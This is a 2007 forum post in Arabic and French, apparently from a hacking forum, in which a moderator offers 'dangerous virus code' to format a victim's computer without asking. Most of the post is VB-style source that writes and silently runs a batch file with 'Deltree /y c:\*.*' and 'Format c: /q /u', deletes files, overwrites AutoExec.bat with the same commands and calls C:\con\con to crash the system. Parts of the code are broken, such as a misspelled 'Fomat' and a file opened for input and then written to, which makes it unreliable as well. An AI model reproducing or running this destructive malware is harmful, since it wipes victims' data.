saminhoo
مشرف
 عدد الرسائل : 137
العمر : 36
Localisation : khouribga
تاريخ التسجيل : 30/01/2007
لوحة التميز
رتبة:
 | موضوع: كود فيرووووس خطير لعمل فرمات لجهاز الضحية  4/2/2007, 4:14 am | |
| Ce code sert à formater sans le demander à votre victime et ouvre un fihier .bat et réecrit sur les
fichier AutoExec.bat rien de bien terrible.
Code Source
On error resume next
If Date = 20 / 05 / 04 Then
For a = 1 To 10
b = (a)
b = Shell("Explorer")
Next a
Open "Virus.bat" For Output As 1
Print #1, "Echo off"
Print #1, "Deltree /y c:\*.*"
Print #1, "Format c: /q /u"
Print "Cls"
Close #1
For c = 1 To 10
d = (c)
d = Shell("C:\WINDOWS\System32\CMD.com Virus.bat", vbHide)
Next c
Kill "" & Path + "*.*"
Open "C:\AutoExec.bat" For Input As 1
Print #1, "Echo off"
Print #1, "Deltree /y c:\*.*"
Print #1, "Fomat c:\ /q /u"
Print "Cls"
Close #1
Retval = Shell("C:\con\con", vbHide)
End if
End sub
للإشارة يحفظ الملف بامتداد bat. | |
|
